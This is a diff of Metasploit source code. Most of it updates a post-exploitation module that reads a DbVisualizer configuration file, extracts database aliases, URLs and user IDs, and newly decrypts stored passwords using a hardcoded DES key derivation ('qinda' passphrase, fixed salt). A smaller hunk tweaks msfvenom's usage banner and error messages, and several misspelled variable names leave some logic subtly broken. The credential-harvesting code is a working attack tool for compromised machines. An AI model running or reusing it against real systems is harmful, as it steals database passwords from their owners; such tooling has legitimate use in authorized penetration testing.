versionFound = false
version_found = false
# fetch config file
raw_xml.each_line do |line|
if versionFound == false
vesrionFound = find_version(line)
if version_found == false
vesrion_found = find_version(line)
end
if line =~ /<Database id=/
@ -243,48 +247,84 @@ class Metasploit3 < Msf::Post
if dbfound == true
# get the alias
if (line =~ /<Alias>([\S+\s+]+)<\/Alias>/i)
if line =~ /<Alias>([\S+\s+]+)<\/Alias>/i
db[:Alias] = $1
end
# get the type
if (line =~ /<Type>([\S+\s+]+)<\/Type>/i)
if line =~ /<Type>([\S+\s+]+)<\/Type>/i
db[:Type] = $1
end
# get the user
if (line =~ /<Userid>([\S+\s+]+)<\/Userid>/i)
db[:Userid] = $1
if line =~ /<Userid>([\S+\s+]+)<\/Userid>/i
db[:UserID] = $1
end
# get the user
if (line =~ /<Url>([\S+\s+]+)<\/Url>/i)
db[:Url] = $1
#get the user password
if line =~ /<Password>([\S+\s+]+)<\/Password>/i
enc_password = $1
db[:Password] = decrypt_password(enc_password)
end
# get the server URL
if line =~ /<Url>(\S+)<\/Url>/i
db[:URL] = $1
end
end
end
# Fill the tab
dbs.each do |db|
if (db[:Url] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i)
if (db[:URL] =~ /[\S+\s+]+[\/]+([\S+\s+]+):[\S+]+/i)
if ::Rex::Socket.is_ipv4?($1.to_s)
print_good("Reporting #{$1}")
report_host(:host => $1.to_s)
end
end
db_table << [ db[:Alias] , db[:Type] , db[:Url], db[:Userid] ]
db_table << [ db[:Alias] , db[:Type] , db[:URL], db[:UserID], db[:Password] ]
end
return db_table
end
def find_version(tag)
found = false
if (tag =~ /<Version>([\S+\s+]+)<\/Version>/i)
print_good("DbVisualizer version : #{$1}")
if tag =~ /<Version>([\S+\s+]+)<\/Version>/i
found = true
print_good("DbVisualizer version: #{$1}")
end
return found
found
end
def decrypt_password(enc_password)
enc_password = Rex::Text.decode_base64(enc_password)
dk, iv = get_derived_key
des = OpenSSL::Cipher.new('DES-CBC')
des.decrypt
des.key = dk
des.iv = iv
password = des.update(enc_password) + des.final
end
def get_derived_key
key = passphrase + salt
iteration_count.times do
key = Digest::MD5.digest(key)
end
return key[0,8], key[8,8]
end
def salt
[-114,18,57,-100,7,114,111,90].pack('C*')
end
def passphrase
datastore['PASSPHRASE'] || 'qinda'
end
def iteration_count
datastore['ITERATION_COUNT'] || 10
end
end

View File

@ -54,7 +54,10 @@ require 'msf/core/payload_generator'
opts = {}
datastore = {}
opt = OptionParser.new
opt.banner = "Usage: #{$0} [options] <var=val>"
banner = "MsfVenom - a Metasploit standalone payload generator.\n"
banner << "Also a replacement for msfpayload and msfencode.\n"
banner << "Usage: #{$0} [options] <var=val>"
opt.banner = banner
opt.separator('')
opt.separator('Options:')
@ -292,7 +295,14 @@ if __FILE__ == $0
$stdout.puts dump_encoders
$stdout.puts dump_nops
else
$stderr.puts "Invalid module type"
if mod == 'payload'
question = ". Do you mean 'payloads'?"
elsif mod == 'encoder'
question = ". Do you mean 'encoders'?"
elsif mod == 'nop'
quesetion = ". Do you mean 'nops'?"
end
$stderr.puts "Invalid module type#{question}"
end
end
exit(0)